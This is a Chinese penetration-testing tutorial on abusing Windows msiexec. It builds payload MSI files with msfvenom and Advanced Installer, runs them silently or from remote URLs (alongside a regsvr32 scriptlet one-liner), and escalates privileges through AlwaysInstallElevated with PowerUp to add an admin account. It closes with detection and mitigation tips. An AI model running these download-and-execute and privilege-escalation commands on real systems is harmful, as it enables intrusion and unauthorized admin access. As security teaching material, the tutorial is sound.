本文讲的是渗透测试中的msiexec

0x00 前言

在上篇研究了ClickOnce的渗透技巧,接触到了安装包的概念。关于安装包还有一个常见的是msi文件,可在命令行下通过msiexec安装,所以这次就研究一下msiexec在渗透测试中的利用技巧

0x01 简介

msiexec:

系统进程,是Windows Installer的一部分

用于安装Windows Installer安装包(MSI)

一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大

系统自带,在命令行下使用,参数说明如下:

msiexec /Option <Required Parameter> [Optional Parameter]
Install Options</package | /i> <Product.msi>Installs or configures a product/a <Product.msi>Administrative install - Installs a product on the network/j<u|m> <Product.msi> [/t <Transform List>] [/g <Language ID>]Advertises a product - m to all users, u to current user</uninstall | /x> <Product.msi | ProductCode>Uninstalls the product
Display Options/quietQuiet mode, no user interaction/passiveUnattended mode - progress bar only/q[n|b|r|f]Sets user interface leveln - No UIb - Basic UIr - Reduced UIf - Full UI (default)/helpHelp information
Restart Options/norestartDo not restart after the installation is complete/promptrestartPrompts the user for restart if necessary/forcerestartAlways restart the computer after installation
Logging Options/l[i|w|e|a|r|u|c|m|o|p|v|x|+|!|*] <LogFile>i - Status messagesw - Nonfatal warningse - All error messagesa - Start up of actionsr - Action-specific recordsu - User requestsc - Initial UI parametersm - Out-of-memory or fatal exit informationo - Out-of-disk-space messagesp - Terminal propertiesv - Verbose outputx - Extra debugging information+ - Append to existing log file! - Flush each line to the log* - Log all information, except for v and x options/log <LogFile>Equivalent of /l* <LogFile>
Update Options/update <Update1.msp>[;Update2.msp]Applies update(s)/uninstall <PatchCodeGuid>[;Update2.msp] /package <Product.msi | ProductCode>Remove update(s) for a product
Repair Options/f[p|e|c|m|s|o|d|a|u|v] <Product.msi | ProductCode>Repairs a productp - only if file is missingo - if file is missing or an older version is installed (default)e - if file is missing or an equal or older version is installedd - if file is missing or a different version is installedc - if file is missing or checksum does not match the calculated valuea - forces all files to be reinstalledu - all required user-specific registry entries (default)m - all required computer-specific registry entries (default)s - all existing shortcuts (default)v - runs from source and recaches local package
Setting Public Properties[PROPERTY=PropertyValue]

0x02 制作.msi文件

1、使用metasploit

msf命令如下:

msfvenom -f msi -p windows/exec CMD=calc.exe>test.msi

运行后生成test.msi

双击可以直接安装,如图,弹出计算器

等价于在命令行下执行如下命令:

msiexec /i test.msi

如下图,同时会弹出安装的对话框,可以使用/q参数来隐藏安装界面

命令行参数如下:

msiexec /q /i test.msi

如图

执行后会在%TEMP%下生成MSI的log文件,如图

MSF为了能够让payload可扩展,生成msi文件的方式如下:

创建一个msi文件模板
在文件的固定位置保留一段地址用来存储payload
在运行过程中读取这个地址的内容并执行

细节可参考如下链接:

http://rewtdance.blogspot.co.uk/2013/03/metasploit-msi-payload-generation.html

关于msi文件格式可参考:

http://www.forensicswiki.org/w/images/5/5b/Compdocfileformat.pdf

2、使用Advanced Installer

Advanced Installer是一款功能强大、可生成符合MS Windows认证的Windows Installer的MSI 安装包制作工具,具有友好的图形用户界面,直观而且非常简单的界面,是一款很好的 Windows Installer 编写工具

界面如下图,配置界面友好

在自定义行为中选择自定义操作,添加 LaunchFile

设置启动文件等参数,如图

导出msi文件,操作如图

生成文件如图

命令行参数如下:

msiexec /q /i test2.msi

成功弹出cmd.exe,如图

值得注意的是弹出cmd的路径为c:windowsinstallerMSI3646.tmp

查看路径c:windowsinstaller,如图

其中6260236.msi和test2.msi的大小一样(其实就是test2.msi文件)

现在关闭弹出的cmd,再次查看路径c:windowsinstaller,如图

安装结束后,安装文件被删除,只留下.tmp文件,记录安装操作,内容如图

当然,在%TEMP%下也会生成MSI的log文件

0x03 远程执行

之前在文章《Use SCT to Bypass Application Whitelisting Protection》研究过regsvr32的应用技巧,可以在命令行下远程执行服务器上的sct文件 
命令行示例:

regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll

msiexec也同样支持这个功能

注:

如下链接介绍了远程执行同快捷方式结合,通过ole对象插入到excel文档进行钓鱼攻击的方法:

https://labs.nettitude.com/blog/fun-with-windows-binaries-application-whitelist-bypass-using-msiexec/

将msi文件上传到服务器,通过如下命令远程执行:

msiexec /q /i https://raw.githubusercontent.com/3gstudent/test/master/testmsi.png

注:

由于是msf生成的msi文件,所以默认会被杀毒软件拦截,但操作只是一个弹出计算器

将自己开发的msi文件上传到服务器,通过如下命令远程执行:

msiexec /q /i https://raw.githubusercontent.com/3gstudent/test/master/test3.msi

成功执行msi文件,弹出cmd.exe

如图

0x04 权限提升

利用组策略可以实现权限提升

开启AlwaysInstallElevated特权安装功能:

打开组策略编辑器
用户配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装: 选择启用
计算机配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装: 选择启用

如图

此时会在注册表如下位置自动创建键值:

[HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001

接下来,使用powerup完成提权添加用户的操作

powerup地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

检查是否开启AlwaysInstallElevated:

Get-RegistryAlwaysInstallElevated

返回true代表系统开启AlwaysInstallElevated

利用AlwaysInstallElevated添加用户:

Write-UserAddMSI

运行后生成文件UserAdd.msi

这时以普通用户权限运行这个UserAdd.msi,成功添加账户

完整测试如图

成功在普通权限的cmd下添加一个管理员账户

注:

如果获得了对注册表的访问权限,可以通过更改注册表来开启AlwaysInstallElevated(必须同时修改两处注册表键值),进而提升权限,甚至当成提权后门

检测是否开启AlwaysInstallElevated:

查看注册表即可,cmd命令如下:

reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

值全为1代表开启AlwaysInstallElevated,否则未开启

0x05 小结

通过msiexec,不仅能够在命令行实现远程下载执行代码,还能应用于权限提升,更多的利用方法值得研究。

当然,对照利用方法进行防御,只要关闭AlwaysInstallElevated,即可阻止通过msi文件的提权利用。

原文发布时间为:2017年1月19日
本文作者:3gstudent 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

渗透测试中的msiexec相关推荐

  1. 如何在渗透测试中尽可能隐藏自己-proxychains4使用配置教程

    在渗透测试中,往往需要对自身电脑ip进行网络上的隐藏,如何才能快速简单的在网络扫描中简单实现匿名扫描呢? Proxychains帮助我们完成这一操作 那么 ,proxychains是什么? GNU协议 ...

  2. 渗透测试中信息收集的那些事

    渗透测试中信息收集的那些事 转载自:TideSec(知名安全团队)--VllTomFord(大佬)------https://www.cnblogs.com/OpenCyberSec/p/107941 ...

  3. 详述MySQL服务在渗透测试中的利用

    本文作者:i春秋签约作家--Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...

  4. 渗透测试中常用端口及利用

    渗透测试中常用端口及利用 端口 服务 入侵方式 21 ftp/tftp/vsftpd文件传输协议 爆破/嗅探/溢出/后门 22 ssh远程连接 爆破/openssh漏洞 23 Telnet远程连接 爆 ...

  5. 监控渗透测试中Certutil利用行为

    简介 Certutil.exe是作为证书服务的一部分安装的命令行程序. 我们可以使用此工具在目标计算机上执行恶意EXE文件,并获取meterpreter会话. 补充说明:在高版本操作系统中,可以通过配 ...

  6. 【3】web安全入门篇-渗透测试中常用的命令

    1.linux命令 渗透测试中常用的linux命令 上面博客提到的基本都能满足需求 2.cmd命令 常用的cmd命令 cmd命令和linux命令常用的对于web入门的萌新可以看看上面博客,多敲一敲用的 ...

  7. 浅析DNSlog在渗透测试中的实战技巧

    文章目录 前言 SSRF 盲打 XSS的盲打 XXE的盲打 SQL的盲注 RCE的盲打 总结 前言 在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把 ...

  8. 渗透测试中的端口利用

    渗透测试中的端口利用 我们在进行渗透测试中,一般情况下会对端口进行扫描,看看服务器中开启了哪些端口,对应的端口一般存在对应的服务,而这些服务可能存在相应的漏洞,下面就是简单结束一下端口对应服务,服务可 ...

  9. 【python渗透测试】python在渗透测试中的利用(完全版,持续中出)

    跟着gpt学习python在渗透测试中的利用

最新文章

  1. 数字信号处理中卷积的计算
  2. 字符串与base64相互转换
  3. 【深入浅出项目管理视频1】-项目文档评审
  4. 集合的交集和函数的例题
  5. Go语言web框架beego:脚手架bee的安装及创建beego项目
  6. 正斜杠( / )和反斜杠( \ )的区别
  7. Rete之外的生活– RIP Rete 2013 :)
  8. flask框架(三):flask配置文件
  9. nodejs入门_如何在NodeJS中使用套接字创建专业的Chat API解决方案[入门级]
  10. Flink JDBC Connector:Flink 与数据库集成最佳实践
  11. windows配置caffe及matlab/python接口编译和调用(cpu/gpu)
  12. Linux中级之负载均衡(lvs,nginx,haproxy)、中间件
  13. Android App加壳中的整体dex加壳的原理和脱壳
  14. python抓取淘宝评论_python3抓取淘宝评论内容
  15. 第六章 进化智能和群体智能
  16. 李彦宏能否避免今年两大必要性错误?
  17. centos python3, There was a problem confirming the ssl certificate
  18. numpy获取二维数组某一行、某一列
  19. python暴力破解zip加密文件
  20. 【Python3.6爬虫学习记录】(十五)Scrapy爬虫框架的应用及马赛克拼图生成

热门文章

  1. linux驱动开发-阻塞非阻塞
  2. Windows批处理教程
  3. CorAnimation7-高效绘图、图像IO以及图层性能
  4. 捉虫记之三:1+1 ≠ 2
  5. 关于android产品与平台的mk配置
  6. “年终盘点一对一”之前端架构师
  7. 社交网络聆听平台SentiOne获350万美元A轮融资
  8. [APIO2010]特别行动队——[斜率优化DP]
  9. 智能控制中的模糊控制应用:在工业自动化领域的应用
  10. PMSM永磁同步电机模型参考自适应法MRAS